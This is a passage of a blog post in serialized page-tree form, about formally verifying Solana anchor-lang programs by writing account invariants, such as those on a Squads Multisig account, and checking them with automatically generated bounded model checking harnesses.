UserStatement",{"type":23,"tag":41,"props":20820,"children":20821},{"style":70},[20822],{"type":28,"value":102},{"type":23,"tag":41,"props":20824,"children":20825},{"class":43,"line":155},[20826,20831,20836,20840,20845],{"type":23,"tag":41,"props":20827,"children":20828},{"style":64},[20829],{"type":28,"value":20830},"    pub",{"type":23,"tag":41,"props":20832,"children":20833},{"style":858},[20834],{"type":28,"value":20835}," owner",{"type":23,"tag":41,"props":20837,"children":20838},{"style":170},[20839],{"type":28,"value":1474},{"type":23,"tag":41,"props":20841,"children":20842},{"style":94},[20843],{"type":28,"value":20844}," Pubkey",{"type":23,"tag":41,"props":20846,"children":20847},{"style":70},[20848],{"type":28,"value":3506},{"type":23,"tag":41,"props":20850,"children":20851},{"class":43,"line":186},[20852,20856,20861,20865,20869],{"type":23,"tag":41,"props":20853,"children":20854},{"style":64},[20855],{"type":28,"value":20830},{"type":23,"tag":41,"props":20857,"children":20858},{"style":858},[20859],{"type":28,"value":20860}," assets",{"type":23,"tag":41,"props":20862,"children":20863},{"style":170},[20864],{"type":28,"value":1474},{"type":23,"tag":41,"props":20866,"children":20867},{"style":94},[20868],{"type":28,"value":5860},{"type":23,"tag":41,"props":20870,"children":20871},{"style":70},[20872],{"type":28,"value":3506},{"type":23,"tag":41,"props":20874,"children":20875},{"class":43,"line":195},[20876,20880,20885,20889,20893],{"type":23,"tag":41,"props":20877,"children":20878},{"style":64},[20879],{"type":28,"value":20830},{"type":23,"tag":41,"props":20881,"children":20882},{"style":858},[20883],{"type":28,"value":20884}," liabilities",{"type":23,"tag":41,"props":20886,"children":20887},{"style":170},[20888],{"type":28,"value":1474},{"type":23,"tag":41,"props":20890,"children":20891},{"style":94},[20892],{"type":28,"value":5860},{"type":23,"tag":41,"props":20894,"children":20895},{"style":70},[20896],{"type":28,"value":3506},{"type":23,"tag":41,"props":20898,"children":20899},{"class":43,"line":905},[20900],{"type":23,"tag":41,"props":20901,"children":20902},{"style":70},[20903],{"type":28,"value":201},{"type":23,"tag":24,"props":20905,"children":20906},{},[20907,20909,20914],{"type":28,"value":20908},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":37,"props":20910,"children":20912},{"className":20911},[],[20913],{"type":28,"value":20740},{"type":28,"value":20915}," is created or modified.",{"type":23,"tag":24,"props":20917,"children":20918},{},[20919,20921,20927],{"type":28,"value":20920},"In another example, we developed the following invariant for the ",{"type":23,"tag":458,"props":20922,"children":20924},{"href":18812,"rel":20923},[462],[20925],{"type":28,"value":20926},"Squads Multisig",{"type":28,"value":20928}," wallet account:",{"type":23,"tag":31,"props":20930,"children":20932},{"code":20931,"language":2981,"meta":7,"className":2982,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[20933],{"type":23,"tag":37,"props":20934,"children":20935},{"__ignoreMap":7},[20936,20943,20950,20980,21039,21068,21120,21127,21148,21178,21208,21238,21267,21297,21327,21356,21396],{"type":23,"tag":41,"props":20937,"children":20938},{"class":43,"line":44},[20939],{"type":23,"tag":41,"props":20940,"children":20941},{"style":70},[20942],{"type":28,"value":20757},{"type":23,"tag":41,"props":20944,"children":20945},{"class":43,"line":54},[20946],{"type":23,"tag":41,"props":20947,"children":20948},{"style":70},[20949],{"type":28,"value":20765},{"type":23,"tag":41,"props":20951,"children":20952},{"class":43,"line":76},[20953,20958,20962,20966,20971,20975],{"type":23,"tag":41,"props":20954,"children":20955},{"style":170},[20956],{"type":28,"value":20957},"    !",{"type":23,"tag":41,"props":20959,"children":20960},{"style":70},[20961],{"type":28,"value":13708},{"type":23,"tag":41,"props":20963,"children":20964},{"style":170},[20965],{"type":28,"value":706},{"type":23,"tag":41,"props":20967,"children":20968},{"style":70},[20969],{"type":28,"value":20970},"keys",{"type":23,"tag":41,"props":20972,"children":20973},{"style":170},[20974],{"type":28,"value":706},{"type":23,"tag":41,"props":20976,"children":20977},{"style":70},[20978],{"type":28,"value":20979},"is_empty()\n",{"type":23,"tag":41,"props":20981,"children":20982},{"class":43,"line":85},[20983,20987,20992,20996,21000,21004,21009,21013,21018,21022,21027,21031,21035],{"type":23,"tag":41,"props":20984,"children":20985},{"style":170},[20986],{"type":28,"value":15612},{"type":23,"tag":41,"props":20988,"children":20989},{"style":70},[20990],{"type":28,"value":20991}," (self",{"type":23,"tag":41,"props":20993,"children":20994},{"style":170},[20995],{"type":28,"value":706},{"type":23,"tag":41,"props":20997,"children":20998},{"style":70},[20999],{"type":28,"value":20970},{"type":23,"tag":41,"props":21001,"children":21002},{"style":170},[21003],{"type":28,"value":706},{"type":23,"tag":41,"props":21005,"children":21006},{"style":70},[21007],{"type":28,"value":21008},"len() ",{"type":23,"tag":41,"props":21010,"children":21011},{"style":170},[21012],{"type":28,"value":19402},{"type":23,"tag":41,"props":21014,"children":21015},{"style":94},[21016],{"type":28,"value":21017}," u16",{"type":23,"tag":41,"props":21019,"children":21020},{"style":170},[21021],{"type":28,"value":3479},{"type":23,"tag":41,"props":21023,"children":21024},{"style":94},[21025],{"type":28,"value":21026},"MAX",{"type":23,"tag":41,"props":21028,"children":21029},{"style":64},[21030],{"type":28,"value":8825},{"type":23,"tag":41,"props":21032,"children":21033},{"style":94},[21034],{"type":28,"value":13726},{"type":23,"tag":41,"props":21036,"children":21037},{"style":70},[21038],{"type":28,"value":1969},{"type":23,"tag":41,"props":21040,"children":21041},{"class":43,"line":105},[21042,21046,21050,21054,21059,21063],{"type":23,"tag":41,"props":21043,"children":21044},{"style":170},[21045],{"type":28,"value":15612},{"type":23,"tag":41,"props":21047,"children":21048},{"style":70},[21049],{"type":28,"value":20991},{"type":23,"tag":41,"props":21051,"children":21052},{"style":170},[21053],{"type":28,"value":706},{"type":23,"tag":41,"props":21055,"children":21056},{"style":70},[21057],{"type":28,"value":21058},"threshold ",{"type":23,"tag":41,"props":21060,"children":21061},{"style":170},[21062],{"type":28,"value":9941},{"type":23,"tag":41,"props":21064,"children":21065},{"style":70},[21066],{"type":28,"value":21067}," 1)\n",{"type":23,"tag":41,"props":21069,"children":21070},{"class":43,"line":155},[21071,21075,21079,21083,21087,21091,21095,21099,21103,21107,21111,21115],{"type":23,"tag":41,"props":21072,"children":21073},{"style":170},[21074],{"type":28,"value":15612},{"type":23,"tag":41,"props":21076,"children":21077},{"style":70},[21078],{"type":28,"value":20991},{"type":23,"tag":41,"props":21080,"children":21081},{"style":170},[21082],{"type":28,"value":706},{"type":23,"tag":41,"props":21084,"children":21085},{"style":70},[21086],{"type":28,"value":21058},{"type":23,"tag":41,"props":21088,"children":21089},{"style":64},[21090],{"type":28,"value":8838},{"type":23,"tag":41,"props":21092,"children":21093},{"style":94},[21094],{"type":28,"value":13726},{"type":23,"tag":41,"props":21096,"children":21097},{"style":170},[21098],{"type":28,"value":8196},{"type":23,"tag":41,"props":21100,"children":21101},{"style":70},[21102],{"type":28,"value":13791},{"type":23,"tag":41,"props":21104,"children":21105},{"style":170},[21106],{"type":28,"value":706},{"type":23,"tag":41,"props":21108,"children":21109},{"style":70},[21110],{"type":28,"value":20970},{"type":23,"tag":41,"props":21112,"children":21113},{"style":170},[21114],{"type":28,"value":706},{"type":23,"tag":41,"props":21116,"children":21117},{"style":70},[21118],{"type":28,"value":21119},"len())\n",{"type":23,"tag":41,"props":21121,"children":21122},{"class":43,"line":186},[21123],{"type":23,"tag":41,"props":21124,"children":21125},{"style":70},[21126],{"type":28,"value":20247},{"type":23,"tag":41,"props":21128,"children":21129},{"class":43,"line":195},[21130,21134,21139,21144],{"type":23,"tag":41,"props":21131,"children":21132},{"style":64},[21133],{"type":28,"value":13685},{"type":23,"tag":41,"props":21135,"children":21136},{"style":64},[21137],{"type":28,"value":21138}," struct",{"type":23,"tag":41,"props":21140,"children":21141},{"style":94},[21142],{"type":28,"value":21143}," Ms",{"type":23,"tag":41,"props":21145,"children":21146},{"style":70},[21147],{"type":28,"value":102},{"type":23,"tag":41,"props":21149,"children":21150},{"class":43,"line":905},[21151,21155,21160,21164,21168,21173],{"type":23,"tag":41,"props":21152,"children":21153},{"style":64},[21154],{"type":28,"value":20830},{"type":23,"tag":41,"props":21156,"children":21157},{"style":858},[21158],{"type":28,"value":21159}," threshold",{"type":23,"tag":41,"props":21161,"children":21162},{"style":170},[21163],{"type":28,"value":1474},{"type":23,"tag":41,"props":21165,"children":21166},{"style":94},[21167],{"type":28,"value":21017},{"type":23,"tag":41,"props":21169,"children":21170},{"style":70},[21171],{"type":28,"value":21172},",               ",{"type":23,"tag":41,"props":21174,"children":21175},{"style":48},[21176],{"type":28,"value":21177},"// threshold for signatures\n",{"type":23,"tag":41,"props":21179,"children":21180},{"class":43,"line":922},[21181,21185,21190,21194,21198,21203],{"type":23,"tag":41,"props":21182,"children":21183},{"style":64},[21184],{"type":28,"value":20830},{"type":23,"tag":41,"props":21186,"children":21187},{"style":858},[21188],{"type":28,"value":21189}," authority_index",{"type":23,"tag":41,"props":21191,"children":21192},{"style":170},[21193],{"type":28,"value":1474},{"type":23,"tag":41,"props":21195,"children":21196},{"style":94},[21197],{"type":28,"value":21017},{"type":23,"tag":41,"props":21199,"children":21200},{"style":70},[21201],{"type":28,"value":21202},",         ",{"type":23,"tag":41,"props":21204,"children":21205},{"style":48},[21206],{"type":28,"value":21207},"// index to seed other authorities under this multisig\n",{"type":23,"tag":41,"props":21209,"children":21210},{"class":43,"line":930},[21211,21215,21220,21224,21228,21233],{"type":23,"tag":41,"props":21212,"children":21213},{"style":64},[21214],{"type":28,"value":20830},{"type":23,"tag":41,"props":21216,"children":21217},{"style":858},[21218],{"type":28,"value":21219}," transaction_index",{"type":23,"tag":41,"props":21221,"children":21222},{"style":170},[21223],{"type":28,"value":1474},{"type":23,"tag":41,"props":21225,"children":21226},{"style":94},[21227],{"type":28,"value":17536},{"type":23,"tag":41,"props":21229,"children":21230},{"style":70},[21231],{"type":28,"value":21232},",       ",{"type":23,"tag":41,"props":21234,"children":21235},{"style":48},[21236],{"type":28,"value":21237},"// look up and seed reference for transactions\n",{"type":23,"tag":41,"props":21239,"children":21240},{"class":43,"line":939},[21241,21245,21250,21254,21258,21262],{"type":23,"tag":41,"props":21242,"children":21243},{"style":64},[21244],{"type":28,"value":20830},{"type":23,"tag":41,"props":21246,"children":21247},{"style":858},[21248],{"type":28,"value":21249}," ms_change_index",{"type":23,"tag":41,"props":21251,"children":21252},{"style":170},[21253],{"type":28,"value":1474},{"type":23,"tag":41,"props":21255,"children":21256},{"style":94},[21257],{"type":28,"value":17536},{"type":23,"tag":41,"props":21259,"children":21260},{"style":70},[21261],{"type":28,"value":21202},{"type":23,"tag":41,"props":21263,"children":21264},{"style":48},[21265],{"type":28,"value":21266},"// the last executed/closed transaction\n",{"type":23,"tag":41,"props":21268,"children":21269},{"class":43,"line":947},[21270,21274,21279,21283,21287,21292],{"type":23,"tag":41,"props":21271,"children":21272},{"style":64},[21273],{"type":28,"value":20830},{"type":23,"tag":41,"props":21275,"children":21276},{"style":858},[21277],{"type":28,"value":21278}," bump",{"type":23,"tag":41,"props":21280,"children":21281},{"style":170},[21282],{"type":28,"value":1474},{"type":23,"tag":41,"props":21284,"children":21285},{"style":94},[21286],{"type":28,"value":14626},{"type":23,"tag":41,"props":21288,"children":21289},{"style":70},[21290],{"type":28,"value":21291},",                     ",{"type":23,"tag":41,"props":21293,"children":21294},{"style":48},[21295],{"type":28,"value":21296},"// bump for the multisig seed\n",{"type":23,"tag":41,"props":21298,"children":21299},{"class":43,"line":985},[21300,21304,21309,21313,21317,21322],{"type":23,"tag":41,"props":21301,"children":21302},{"style":64},[21303],{"type":28,"value":20830},{"type":23,"tag":41,"props":21305,"children":21306},{"style":858},[21307],{"type":28,"value":21308}," create_key",{"type":23,"tag":41,"props":21310,"children":21311},{"style":170},[21312],{"type":28,"value":1474},{"type":23,"tag":41,"props":21314,"children":21315},{"style":94},[21316],{"type":28,"value":20844},{"type":23,"tag":41,"props":21318,"children":21319},{"style":70},[21320],{"type":28,"value":21321},",           ",{"type":23,"tag":41,"props":21323,"children":21324},{"style":48},[21325],{"type":28,"value":21326},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":41,"props":21328,"children":21329},{"class":43,"line":1058},[21330,21334,21339,21343,21347,21351],{"type":23,"tag":41,"props":21331,"children":21332},{"style":64},[21333],{"type":28,"value":20830},{"type":23,"tag":41,"props":21335,"children":21336},{"style":858},[21337],{"type":28,"value":21338}," allow_external_execute",{"type":23,"tag":41,"props":21340,"children":21341},{"style":170},[21342],{"type":28,"value":1474},{"type":23,"tag":41,"props":21344,"children":21345},{"style":94},[21346],{"type":28,"value":12047},{"type":23,"tag":41,"props":21348,"children":21349},{"style":70},[21350],{"type":28,"value":970},{"type":23,"tag":41,"props":21352,"children":21353},{"style":48},[21354],{"type":28,"value":21355},"// allow non-member keys to execute txs\n",{"type":23,"tag":41,"props":21357,"children":21358},{"class":43,"line":1084},[21359,21363,21368,21372,21377,21381,21386,21391],{"type":23,"tag":41,"props":21360,"children":21361},{"style":64},[21362],{"type":28,"value":20830},{"type":23,"tag":41,"props":21364,"children":21365},{"style":858},[21366],{"type":28,"value":21367}," keys",{"type":23,"tag":41,"props":21369,"children":21370},{"style":170},[21371],{"type":28,"value":1474},{"type":23,"tag":41,"props":21373,"children":21374},{"style":94},[21375],{"type":28,"value":21376}," Vec",{"type":23,"tag":41,"props":21378,"children":21379},{"style":70},[21380],{"type":28,"value":1012},{"type":23,"tag":41,"props":21382,"children":21383},{"style":94},[21384],{"type":28,"value":21385},"Pubkey",{"type":23,"tag":41,"props":21387,"children":21388},{"style":70},[21389],{"type":28,"value":21390},">,            ",{"type":23,"tag":41,"props":21392,"children":21393},{"style":48},[21394],{"type":28,"value":21395},"// keys of the members\n",{"type":23,"tag":41,"props":21397,"children":21398},{"class":43,"line":1102},[21399],{"type":23,"tag":41,"props":21400,"children":21401},{"style":70},[21402],{"type":28,"value":201},{"type":23,"tag":24,"props":21404,"children":21405},{},[21406],{"type":28,"value":21407},"Here we are verifying multiple things at once:",{"type":23,"tag":417,"props":21409,"children":21410},{},[21411,21422,21433,21444],{"type":23,"tag":421,"props":21412,"children":21413},{},[21414,21420],{"type":23,"tag":37,"props":21415,"children":21417},{"className":21416},[],[21418],{"type":28,"value":21419},"!self.keys.is_empty()",{"type":28,"value":21421}," : ensure there is at least one member",{"type":23,"tag":421,"props":21423,"children":21424},{},[21425,21431],{"type":23,"tag":37,"props":21426,"children":21428},{"className":21427},[],[21429],{"type":28,"value":21430},"self.keys.len() \u003C= u16::MAX as usize",{"type":28,"value":21432}," : set an upper limit of 65535 members",{"type":23,"tag":421,"props":21434,"children":21435},{},[21436,21442],{"type":23,"tag":37,"props":21437,"children":21439},{"className":21438},[],[21440],{"type":28,"value":21441},"self.threshold >= 1",{"type":28,"value":21443}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":421,"props":21445,"children":21446},{},[21447,21453],{"type":23,"tag":37,"props":21448,"children":21450},{"className":21449},[],[21451],{"type":28,"value":21452},"self.threshold as usize \u003C= self.keys.len()",{"type":28,"value":21454}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":446,"props":21456,"children":21458},{"id":21457},"verification-how-do-we-check-that-our-model-is-correct",[21459],{"type":28,"value":21460},"Verification: How do we check that our model is correct?",{"type":23,"tag":24,"props":21462,"children":21463},{},[21464,21466,21470,21472,21477],{"type":28,"value":21465},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":2913,"props":21467,"children":21468},{},[21469],{"type":28,"value":19957},{"type":28,"value":21471}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":2913,"props":21473,"children":21474},{},[21475],{"type":28,"value":21476},"automagically",{"type":28,"value":21478}," for anchor-lang programs.",{"type":23,"tag":24,"props":21480,"children":21481},{},[21482,21484,21490,21491,21496,21498,21503,21504,21509,21511,21516,21518,21523,21524,21530,21532,21538,21539,21545],{"type":28,"value":21483},"Specifically, for a given ",{"type":23,"tag":37,"props":21485,"children":21487},{"className":21486},[],[21488],{"type":28,"value":21489},"Context\u003CT>",{"type":28,"value":2032},{"type":23,"tag":2913,"props":21492,"children":21493},{},[21494],{"type":28,"value":21495},"incoming",{"type":28,"value":21497}," accounts of types (",{"type":23,"tag":37,"props":21499,"children":21501},{"className":21500},[],[21502],{"type":28,"value":20727},{"type":28,"value":4579},{"type":23,"tag":37,"props":21505,"children":21507},{"className":21506},[],[21508],{"type":28,"value":3723},{"type":28,"value":21510},") and ",{"type":23,"tag":2913,"props":21512,"children":21513},{},[21514],{"type":28,"value":21515},"outgoing",{"type":28,"value":21517}," accounts of type (",{"type":23,"tag":37,"props":21519,"children":21521},{"className":21520},[],[21522],{"type":28,"value":3723},{"type":28,"value":4579},{"type":23,"tag":37,"props":21525,"children":21527},{"className":21526},[],[21528],{"type":28,"value":21529},"close",{"type":28,"value":21531},") we define a ",{"type":23,"tag":37,"props":21533,"children":21535},{"className":21534},[],[21536],{"type":28,"value":21537},"pre_condition",{"type":28,"value":1361},{"type":23,"tag":37,"props":21540,"children":21542},{"className":21541},[],[21543],{"type":28,"value":21544},"post_condition",{"type":28,"value":21546}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":24,"props":21548,"children":21549},{},[21550],{"type":23,"tag":37,"props":21551,"children":21553},{"className":21552},[3984,3985],[21554],{"type":23,"tag":41,"props":21555,"children":21557},{"className":21556},[3990],[21558],{"type":23,"tag":41,"props":21559,"children":21561},{"className":21560,"ariaHidden":3996},[3995],[21562,21598],{"type":23,"tag":41,"props":21563,"children":21565},{"className":21564},[4001],[21566,21571,21579,21584,21588,21594],{"type":23,"tag":41,"props":21567,"children":21570},{"className":21568,"style":21569},[4006],"height:0.6833em;",[],{"type":23,"tag":41,"props":21572,"children":21576},{"className":21573,"style":21575},[4012,21574],"mathnormal","margin-right:0.13889em;",[21577],{"type":28,"value":21578},"P",{"type":23,"tag":41,"props":21580,"children":21582},{"className":21581},[4012],[21583],{"type":28,"value":4024},{"type":23,"tag":41,"props":21585,"children":21587},{"className":21586,"style":4190},[4092],[],{"type":23,"tag":41,"props":21589,"children":21591},{"className":21590},[4195],[21592],{"type":28,"value":21593},":=",{"type":23,"tag":41,"props":21595,"children":21597},{"className":21596,"style":4190},[4092],[],{"type":23,"tag":41,"props":21599,"children":21601},{"className":21600},[4001],[21602,21607,21747,21751],{"type":23,"tag":41,"props":21603,"children":21606},{"className":21604,"style":21605},[4006],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":41,"props":21608,"children":21611},{"className":21609},[21610],"mop",[21612,21621],{"type":23,"tag":41,"props":21613,"children":21618},{"className":21614,"style":21617},[21610,21615,21616],"op-symbol","small-op","position:relative;top:0em;",[21619],{"type":28,"value":21620},"⋀",{"type":23,"tag":41,"props":21622,"children":21624},{"className":21623},[4028],[21625],{"type":23,"tag":41,"props":21626,"children":21629},{"className":21627},[4033,21628],"vlist-t2",[21630,21735],{"type":23,"tag":41,"props":21631,"children":21633},{"className":21632},[4038],[21634,21728],{"type":23,"tag":41,"props":21635,"children":21638},{"className":21636,"style":21637},[4043],"height:0.2253em;",[21639],{"type":23,"tag":41,"props":21640,"children":21642},{"style":21641},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[21643,21647],{"type":23,"tag":41,"props":21644,"children":21646},{"className":21645,"style":4053},[4052],[],{"type":23,"tag":41,"props":21648,"children":21650},{"className":21649},[4058,4059,4060,4061],[21651],{"type":23,"tag":41,"props":21652,"children":21654},{"className":21653},[4012,4061],[21655,21660,21666,21676,21682,21691,21700,21706,21711,21717,21722],{"type":23,"tag":41,"props":21656,"children":21658},{"className":21657},[4012,21574,4061],[21659],{"type":28,"value":458},{"type":23,"tag":41,"props":21661,"children":21663},{"className":21662},[4012,21574,4061],[21664],{"type":28,"value":21665},"cc",{"type":23,"tag":41,"props":21667,"children":21669},{"className":21668},[4092,4061],[21670],{"type":23,"tag":41,"props":21671,"children":21673},{"className":21672},[4061],[21674],{"type":28,"value":21675}," ",{"type":23,"tag":41,"props":21677,"children":21679},{"className":21678},[4195,4061],[21680],{"type":28,"value":21681},"∈",{"type":23,"tag":41,"props":21683,"children":21685},{"className":21684},[4092,4061],[21686],{"type":23,"tag":41,"props":21687,"children":21689},{"className":21688},[4061],[21690],{"type":28,"value":21675},{"type":23,"tag":41,"props":21692,"children":21694},{"className":21693},[4012,28,4061],[21695],{"type":23,"tag":41,"props":21696,"children":21698},{"className":21697},[4012,4061],[21699],{"type":28,"value":21495},{"type":23,"tag":41,"props":21701,"children":21704},{"className":21702},[21703,4061],"mopen",[21705],{"type":28,"value":1737},{"type":23,"tag":41,"props":21707,"children":21709},{"className":21708},[4012,21574,4061],[21710],{"type":28,"value":3146},{"type":23,"tag":41,"props":21712,"children":21714},{"className":21713},[4012,21574,4061],[21715],{"type":28,"value":21716},"t",{"type":23,"tag":41,"props":21718,"children":21720},{"className":21719},[4012,21574,4061],[21721],{"type":28,"value":19263},{"type":23,"tag":41,"props":21723,"children":21726},{"className":21724},[21725,4061],"mclose",[21727],{"type":28,"value":2678},{"type":23,"tag":41,"props":21729,"children":21732},{"className":21730},[21731],"vlist-s",[21733],{"type":28,"value":21734},"​",{"type":23,"tag":41,"props":21736,"children":21738},{"className":21737},[4038],[21739],{"type":23,"tag":41,"props":21740,"children":21743},{"className":21741,"style":21742},[4043],"height:0.4747em;",[21744],{"type":23,"tag":41,"props":21745,"children":21746},{},[],{"type":23,"tag":41,"props":21748,"children":21750},{"className":21749,"style":4131},[4092],[],{"type":23,"tag":41,"props":21752,"children":21754},{"className":21753},[4012],[21755,21765,21770,21775,21780],{"type":23,"tag":41,"props":21756,"children":21758},{"className":21757},[4012,28],[21759],{"type":23,"tag":41,"props":21760,"children":21762},{"className":21761},[4012],[21763],{"type":28,"value":21764},"invariant",{"type":23,"tag":41,"props":21766,"children":21768},{"className":21767},[21703],[21769],{"type":28,"value":1737},{"type":23,"tag":41,"props":21771,"children":21773},{"className":21772},[4012,21574],[21774],{"type":28,"value":458},{"type":23,"tag":41,"props":21776,"children":21778},{"className":21777},[4012,21574],[21779],{"type":28,"value":21665},{"type":23,"tag":41,"props":21781,"children":21783},{"className":21782},[21725],[21784],{"type":28,"value":2678},{"type":23,"tag":24,"props":21786,"children":21787},{},[21788],{"type":23,"tag":37,"props":21789,"children":21791},{"className":21790},[3984,3985],[21792],{"type":23,"tag":41,"props":21793,"children":21795},{"className":21794},[3990],[21796],{"type":23,"tag":41,"props":21797,"children":21799},{"className":21798,"ariaHidden":3996},[3995],[21800,21831],{"type":23,"tag":41,"props":21801,"children":21803},{"className":21802},[4001],[21804,21808,21813,21818,21822,21827],{"type":23,"tag":41,"props":21805,"children":21807},{"className":21806,"style":21569},[4006],[],{"type":23,"tag":41,"props":21809,"children":21811},{"className":21810,"style":21575},[4012,21574],[21812],{"type":28,"value":21578},{"type":23,"tag":41,"props":21814,"children":21816},{"className":21815},[4012],[21817],{"type":28,"value":317},{"type":23,"tag":41,"props":21819,"children":21821},{"className":21820,"style":4190},[4092],[],{"type":23,"tag":41,"props":21823,"children":21825},{"className":21824},[4195],[21826],{"type":28,"value":21593},{"type":23,"tag":41,"props":21828,"children":21830},{"className":21829,"style":4190},[4092],[],{"type":23,"tag":41,"props":21832,"children":21834},{"className":21833},[4001],[21835,21839,21962,21966],{"type":23,"tag":41,"props":21836,"children":21838},{"className":21837,"style":21605},[4006],[],{"type":23,"tag":41,"props":21840,"children":21842},{"className":21841},[21610],[21843,21848],{"type":23,"tag":41,"props":21844,"children":21846},{"className":21845,"style":21617},[21610,21615,21616],[21847],{"type":28,"value":21620},{"type":23,"tag":41,"props":21849,"children":21851},{"className":21850},[4028],[21852],{"type":23,"tag":41,"props":21853,"children":21855},{"className":21854},[4033,21628],[21856,21951],{"type":23,"tag":41,"props":21857,"children":21859},{"className":21858},[4038],[21860,21946],{"type":23,"tag":41,"props":21861,"children":21863},{"className":21862,"style":21637},[4043],[21864],{"type":23,"tag":41,"props":21865,"children":21866},{"style":21641},[21867,21871],{"type":23,"tag":41,"props":21868,"children":21870},{"className":21869,"style":4053},[4052],[],{"type":23,"tag":41,"props":21872,"children":21874},{"className":21873},[4058,4059,4060,4061],[21875],{"type":23,"tag":41,"props":21876,"children":21878},{"className":21877},[4012,4061],[21879,21884,21889,21898,21903,21912,21921,21926,21931,21936,21941],{"type":23,"tag":41,"props":21880,"children":21882},{"className":21881},[4012,21574,4061],[21883],{"type":28,"value":458},{"type":23,"tag":41,"props":21885,"children":21887},{"className":21886},[4012,21574,4061],[21888],{"type":28,"value":21665},{"type":23,"tag":41,"props":21890,"children":21892},{"className":21891},[4092,4061],[21893],{"type":23,"tag":41,"props":21894,"children":21896},{"className":21895},[4061],[21897],{"type":28,"value":21675},{"type":23,"tag":41,"props":21899,"children":21901},{"className":21900},[4195,4061],[21902],{"type":28,"value":21681},{"type":23,"tag":41,"props":21904,"children":21906},{"className":21905},[4092,4061],[21907],{"type":23,"tag":41,"props":21908,"children":21910},{"className":21909},[4061],[21911],{"type":28,"value":21675},{"type":23,"tag":41,"props":21913,"children":21915},{"className":21914},[4012,28,4061],[21916],{"type":23,"tag":41,"props":21917,"children":21919},{"className":21918},[4012,4061],[21920],{"type":28,"value":21515},{"type":23,"tag":41,"props":21922,"children":21924},{"className":21923},[21703,4061],[21925],{"type":28,"value":1737},{"type":23,"tag":41,"props":21927,"children":21929},{"className":21928},[4012,21574,4061],[21930],{"type":28,"value":3146},{"type":23,"tag":41,"props":21932,"children":21934},{"className":21933},[4012,21574,4061],[21935],{"type":28,"value":21716},{"type":23,"tag":41,"props":21937,"children":21939},{"className":21938},[4012,21574,4061],[21940],{"type":28,"value":19263},{"type":23,"tag":41,"props":21942,"children":21944},{"className":21943},[21725,4061],[21945],{"type":28,"value":2678},{"type":23,"tag":41,"props":21947,"children":21949},{"className":21948},[21731],[21950],{"type":28,"value":21734},{"type":23,"tag":41,"props":21952,"children":21954},{"className":21953},[4038],[21955],{"type":23,"tag":41,"props":21956,"children":21958},{"className":21957,"style":21742},[4043],[21959],{"type":23,"tag":41,"props":21960,"children":21961},{},[],{"type":23,"tag":41,"props":21963,"children":21965},{"className":21964,"style":4131},[4092],[],{"type":23,"tag":41,"props":21967,"children":21969},{"className":21968},[4012],[21970,21979,21984,21989,21994],{"type":23,"tag":41,"props":21971,"children":21973},{"className":21972},[4012,28],[21974],{"type":23,"tag":41,"props":21975,"children":21977},{"className":21976},[4012],[21978],{"type":28,"value":21764},{"type":23,"tag":41,"props":21980,"children":21982},{"className":21981},[21703],[21983],{"type":28,"value":1737},{"type":23,"tag":41,"props":21985,"children":21987},{"className":21986},[4012,21574],[21988],{"type":28,"value":458},{"type":23,"tag":41,"props":21990,"children":21992},{"className":21991},[4012,21574],[21993],{"type":28,"value":21665},{"type":23,"tag":41,"props":21995,"children":21997},{"className":21996},[21725],[21998],{"type":28,"value":2678},{"type":23,"tag":24,"props":22000,"children":22001},{},[22002],{"type":28,"value":22003},"Our instruction invariants are represented as:",{"type":23,"tag":417,"props":22005,"children":22006},{},[22007,22043],{"type":23,"tag":421,"props":22008,"children":22009},{},[22010,22037,22038],{"type":23,"tag":37,"props":22011,"children":22013},{"className":22012},[3984,3985],[22014],{"type":23,"tag":41,"props":22015,"children":22017},{"className":22016},[3990],[22018],{"type":23,"tag":41,"props":22019,"children":22021},{"className":22020,"ariaHidden":3996},[3995],[22022],{"type":23,"tag":41,"props":22023,"children":22025},{"className":22024},[4001],[22026,22030],{"type":23,"tag":41,"props":22027,"children":22029},{"className":22028,"style":21569},[4006],[],{"type":23,"tag":41,"props":22031,"children":22034},{"className":22032,"style":22033},[4012,21574],"margin-right:0.05764em;",[22035],{"type":28,"value":22036},"S",{"type":28,"value":1418},{"type":23,"tag":37,"props":22039,"children":22041},{"className":22040},[],[22042],{"type":28,"value":20143},{"type":23,"tag":421,"props":22044,"children":22045},{},[22046,22072,22073],{"type":23,"tag":37,"props":22047,"children":22049},{"className":22048},[3984,3985],[22050],{"type":23,"tag":41,"props":22051,"children":22053},{"className":22052},[3990],[22054],{"type":23,"tag":41,"props":22055,"children":22057},{"className":22056,"ariaHidden":3996},[3995],[22058],{"type":23,"tag":41,"props":22059,"children":22061},{"className":22060},[4001],[22062,22066],{"type":23,"tag":41,"props":22063,"children":22065},{"className":22064,"style":21569},[4006],[],{"type":23,"tag":41,"props":22067,"children":22069},{"className":22068,"style":22033},[4012,21574],[22070],{"type":28,"value":22071},"E",{"type":28,"value":1418},{"type":23,"tag":37,"props":22074,"children":22076},{"className":22075},[],[22077],{"type":28,"value":20150},{"type":23,"tag":24,"props":22079,"children":22080},{},[22081,22083,22110,22112,22117,22119,22125],{"type":28,"value":22082},"And 